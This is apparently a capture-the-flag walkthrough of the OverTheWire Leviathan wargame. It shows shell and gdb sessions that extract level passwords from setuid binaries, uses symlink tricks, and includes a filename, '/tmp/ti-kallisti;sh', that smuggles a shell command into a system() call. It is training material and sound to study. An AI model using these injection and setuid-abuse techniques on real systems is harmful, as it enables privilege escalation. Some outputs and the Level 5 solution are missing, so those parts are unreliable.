The next installment in the OverTheWire wargame series, "Leviathan" expands upon "Bandit" in that it does not require any programming skills, but rather deals with Linux command line basics. Let's take a look.
Level 0
Just as in "Bandit", we first need to connect via SSH. Then, we can take a look around:
leviathan0@leviathan:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
drwxr-x--- 2 leviathan1 leviathan0 4096 Aug 26 22:26 .backup
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-rw-r--r-- 1 root root 675 May 15 2017 .profile
leviathan0@leviathan:~$ cd .backup
leviathan0@leviathan:~/.backup$ ls -la
total 140
drwxr-x--- 2 leviathan1 leviathan0 4096 Aug 26 22:26 .
drwxr-xr-x 3 root root 4096 Aug 26 22:26 ..
-rw-r----- 1 leviathan1 leviathan0 133259 Aug 26 22:26 bookmarks.html
The home directory itself contains a folder named ".backup" (which we can see thanks to the -a parameter to our ls call), in which a file called "bookmarks.html" resides. It's a little bit too big to read through it manually, so let us use grep to search for clues that could help us reach the next level (with the username "leviathan1"):
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep leviathan1
A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1
This straight-up tells us the password for the next level. So let us move forward!
Level 1
As always, we start off by looking around:
leviathan1@leviathan:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan2 leviathan1 7452 Aug 26 22:26 check
-rw-r--r-- 1 root root 675 May 15 2017 .profile
An executable file! This is gonna be interesting. Let's see what it does if we execute it:
leviathan1@leviathan:~$ ./check
password: rioGegei8m
Wrong password, Good Bye ...
It asks for a password. But it seems the password from the last level isn't what we need. We can check if there is a buffer overflow vulnerability. Sometimes it's as easy as writing a lot of input, which then overflows the buffer and writes to a section in the program's memory where a boolean variable resides, overwriting it.
In C, every value for a boolean variable that is not "0" is processed as "true". So if we can write any value to, say, a hypothetical variable called "password_is_correct", we don't need to know the correct password but instead can trick the program into thinking we entered the correct one:
leviathan1@leviathan:~$ ./check
password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Wrong password, Good Bye ...
Okay, seems the program is not vulnerable to a buffer overflow. So let's try a different approach. The command strings lists all human-readable strings in a file:
leviathan1@leviathan:~$ ./check
password: love
Wrong password, Good Bye ...
This doesn't seem to have been it. Let's try the others:
leviathan1@leviathan:~$ ./check
password: secret
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
We know have a shell as leviathan2, and can easily get the passwords. But what about those that have missed out on the Masterpiece that is "Hackers"? Well, there's still a way to figure out the password without a bunch of useless trivia knowledge, albeit a bit more complicated. We can use the GNU Debugger, or gdb for short:
leviathan1@leviathan:~$ gdb ./check
There are two main ways GDB can display assembly code: AT&T or Intel syntax. I personally prefer the Intel syntax, so I set gdb to use exactly that, and then I disassemble the main function (aka I view the assembler code):
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x0804853b <+0>: lea ecx,[esp+0x4]
0x0804853f <+4>: and esp,0xfffffff0
0x08048542 <+7>: push DWORD PTR [ecx-0x4]
0x08048545 <+10>: push ebp
0x08048546 <+11>: mov ebp,esp
0x08048548 <+13>: push ebx
0x08048549 <+14>: push ecx
0x0804854a <+15>: sub esp,0x20
[...]
0x080485a3 <+104>: sub esp,0x8
0x080485a6 <+107>: lea eax,[ebp-0x10]
0x080485a9 <+110>: push eax
0x080485aa <+111>: lea eax,[ebp-0xc]
0x080485ad <+114>: push eax
0x080485ae <+115>: call 0x80483b0 <strcmp@plt>
0x080485b3 <+120>: add esp,0x10
0x080485b6 <+123>: test eax,eax
0x080485b8 <+125>: jne 0x80485e5 <main+170>
[...]
Okay, some notes on this: You do not need to know every single assembly command, nor do you need to understand what's happening in every line of the code. If you're new to assembly, I recommend the following:
Make yourself familiar with what a stack is and how it works
Learn how the commands push and pop work (They put data on the stack (push) or get data from the top of it (pop)
Understand what registers are and what they are used for
That should be sufficient for a basic understanding of what is happening. Assembly commands like "lea", "jmp", "jeq" and "jne" would make a great next step at getting a hold at the lanugage.
The most interesting line of the disassembly output is the strcmp call at memory address 0x080485ae (or main+115), as this means that there is a step which checks if two strings are the same. The most likely use-case in the program we have is that it compares the input we give it to the actual password. That means that one of the two addresses that are pushed onto the stack right before the call (main+110 and main+114) will point to the password. In order to analyze the stack at this point of the program execution, we need to pause it right then and there. We do this with the help of breakpoints. We can set a breakpoint like this:
(gdb) break *0x080485ae
Breakpoint 1 at 0x80485ae
The "*" before the address tells gdb that we are actually referring to a memory address rather than a function called "0x80485ae". Alternatively, we could also address this line in the code in relation to the start of the main function:
(gdb) break *main+115
Note: breakpoint 1 also set at pc 0x80485ae.
Breakpoint 2 at 0x80485ae
And then we run the program:
(gdb) run
Starting program: /home/leviathan1/check
password:
The program like usual asks us for a passwords, so we shall provide it with one:
password: testpw
Breakpoint 1, 0x080485ae in main ()
(gdb)
After that, the program reaches our breakpoint, is paused and we get back to the gdb interface. Here we can take a look at the stack, using gdb's x command:
The interesting thing here is that apparently only the first three letters of our input "testpw" are saved into memory. That is efficient, because the actual password is only three letters long, as we can see. We now know the password, so let's exit gdb and execute the "check" program normally:
(gdb) quit
leviathan1@leviathan:~$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
As we now have a shell as leviathan2, let's grab the password and move on to the next level:
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
Level 2
We start as usual:
leviathan2@leviathan:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 22:26 printfile
-rw-r--r-- 1 root root 675 May 15 2017 .profile
Another executable, with a set SUID bit. Let's run it first and see what it does:
As the name suggests, it's a program that prints files. Maybe we can print the password for the next level right away?
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
Would have been too easy, wouldn't it?
Maybe the program checks for the filename? If so, we have a chance that if we create a symlink first, we can trick the program into outputting the password:
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/ti-kallisti_password_3
leviathan2@leviathan:~$ ls -la /tmp/ti-kallisti_password_3
lrwxrwxrwx 1 leviathan2 root 30 Feb 14 11:08 /tmp/ti-kallisti_password_3 -> /etc/leviathan_pass/leviathan3
leviathan2@leviathan:~$ ./printfile /tmp/ti-kallisti_password_3
You cant have that file...
Side note: gdb can recognize command stubs, if they are unambiguous. For example, there is no other command starting with "disass", so gdb knows we mean "disassemble". Another example would be to write "b" instead of "break", because "break" is the only command starting with "b". There are many more, and they save time, so it pays to learn them over time.
What we can see here, is that later in the program, the reuid is changed later in the program (0x080485db or main+176). This will probably make use of the SUID bit and set the user to leviathan3. BUT, a lot earlier (0x08048585 or main+90), there is an access check, and if it fails, the program jumps to the end (0x080485a6 or main+123). This means, that if we can't access a a file as leviathan2, the program just quits and never reads it as leviathan3.
In 0x080485b1 or main+134 there is a value from an address(0x80486d4) push two the stack and a few lines later there is a snprint call. It is safe to assume that this is a string that is copied to a variable.
So let's take a look at that string:
(gdb) x/s 0x80486d4
0x80486d4: "/bin/cat %s"
Houston, we have a cat command. The %s format character implies that something is just put as is after it. The most likely candidate: The filename we passed in the beginning. So we have a string variable. Where could it be used. The only function call later in the program that expects a string parameter is system. So that will then call "/bin/cat [filename]", probably as leviathan3. This just opens a file, though. But, thanks to how the Linux command line works, we can trick the program into executing whatever we won't.
We can create a file that contains ";". The access() check will be able to properly read the name and process it. The cat call though will only recognize the part before the ";". Everything after that will be processed as a new
command. A helpful command could be "cat /etc/leviathan_pass/leviathan3". But sadly, we cannot use slash characters in a filename. So we have to find another command to execute. How about "sh"? That will give us a shell. And from there, we can do everything we want. Let's do it:
One note: We need to put the filename in quotes when creating it and passing it to the "printfile" executable, because otherwise we would encounter the same problem we are trying to abuse here:
leviathan2@leviathan:~$ touch "/tmp/ti-kallisti;sh"
leviathan2@leviathan:~$ ./printfile "/tmp/ti-kallisti;sh"
/bin/cat: /tmp/ti-kallisti: No such file or directory
$ id
uid=12003(leviathan3) gid=12002(leviathan2) groups=12002(leviathan2)
Ladies and gentlemen, we got him! Now that we have a shell as leviathan, all that's left to do is grab the password and move on:
$ cat /etc/leviathan_pass/leviathan3
Ahdiemoo1j
Level 3
There is a pattern here. So how we approach these challenges will also contain patterns. List the home directory, if there is an executable, run it, and then disassemble it. Let's do exactly that:
In 0x080486b2 or main+154, there is a call to a function without an "@plt" at the end, that means that this is not a function that is provided by the system but rather a custom one that is part of the program. Let's disassemble that, too, for good measure:
Now we have a good overlook of what the program is doing.
We have a similar pattern as in the previous level. In 0x080485e4 or , the ruid is changed. Some lines later, in 0x080485f4 or , there is a system call. In the line just before that, an address is pushed to the stack. This will most likely be a system command string. Let's take a look:
(gdb) x/s 0x8048764
0x8048764: "/bin/sh"
It's already a shell command! So all we have to do is avoid that in 0x080485c1 or the jump to is executed. So we have to somehow achieve that the strcmp in 0x080485b7 or returns "0" (which means that the two strings that needed to be compared are equal). As the addresses for the strings are not absolute, but relative to ebp, let's set a breakpoint and look at the values at runtime:
(gdb) b *0x080485b7
Breakpoint 1 at 0x80485b7: file level3.c, line 12.
(gdb) r
Starting program: /home/leviathan3/level3
Enter the password> ti-kallisti
Breakpoint 1, 0x080485b7 in do_stuff () at level3.c:12
(gdb) x/4xw $esp
0xffffd540: 0xffffd560 0xffffd555 0xf7fc55a0 0x00000000
(gdb) x/s 0xffffd560
0xffffd560: "ti-kallisti\n"
(gdb) x/s 0xffffd555
0xffffd555: "snlprintf\n"
As we can see, the two addresses at the top of the stack at the time of the string compare are pointing to our input ("ti-kallisti") and the string "snlprintf". That means that that is what our input is compared to. That can't be the password, can it? Let's try it:
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$
It actually is! Who would've thought. Let's grab the password for the next level and move on:
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
Level 4
leviathan4@leviathan:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-rw-r--r-- 1 root root 675 May 15 2017 .profile
dr-xr-x--- 2 root leviathan4 4096 Aug 26 22:26 .trash
leviathan4@leviathan:~$ cd .trash
leviathan4@leviathan:~/.trash$ ls -la
total 16
dr-xr-x--- 2 root leviathan4 4096 Aug 26 22:26 .
drwxr-xr-x 3 root root 4096 Aug 26 22:26 ..
-r-sr-x--- 1 leviathan5 leviathan4 7352 Aug 26 22:26 bin
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
What do we have here? An executable that prints out a bunch of binary data. Could that be an ASCII representation of the password for the next level? Let's find out. If we enter the binary in any online binary to text converter, we get the following text:
Tith4cokei
Which, if we try it out, is actually already the password to the next level!
Level 5
leviathan5@leviathan:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan6 leviathan5 7560 Aug 26 22:26 leviathan5
-rw-r--r-- 1 root root 675 May 15 2017 .profile
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
This little executable seems to be looking for a file name "/tmp/file.log". Let's take a look at the code to see what the program wants to do with that file:
Nothing special. The executable opens a file (most likely "/tmp/file.log") (0x080485f9 or main+30), reads every character in it (0x0804862a or main+79), prints it to the screen (0x0804864f or main+116) and then deletes the file (0x08048681 or main+166) using unlink.
We can use this to our advantage. We can create a symlink that points to the password file, and name it so that the executable reads it for us:
leviathan6@leviathan:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug 26 22:26 .
drwxr-xr-x 10 root root 4096 Aug 26 22:26 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan7 leviathan6 7452 Aug 26 22:26 leviathan6
-rw-r--r-- 1 root root 675 May 15 2017 .profile
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6
The program wants a four digit code. Easy to bruteforce, but let's first look at the code and see if we can avoid that - the challenge says that it does not require any programming knowledge at all, after all.
Examining the parameter to the system call in 0x080485b5 or main+122 shows us that we already have our shell command:
(gdb) x/s 0x804867a
0x804867a: "/bin/sh"
We just have to avoid that jump in 0x08048592 or main+87 by entering the password that our input is compared to in 0x0804858f or main+84. Let's set a breakpoint and look at the values:
(gdb) b *0x0804858f
Breakpoint 1 at 0x804858f
(gdb) r 1234
Starting program: /home/leviathan6/leviathan6 1234
Breakpoint 1, 0x0804858f in main ()
(gdb) x/d $ebp-0xc
0xffffd67c: 7123
We can see that the password for the executable is 7123. So let's use that:
leviathan6@leviathan:~$ ./leviathan6 7123
$
Ladies and gentleman, we got him a shell!
Let's grab the password:
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9
Done and Done!
This is it for now. We beat all levels of Leviathan.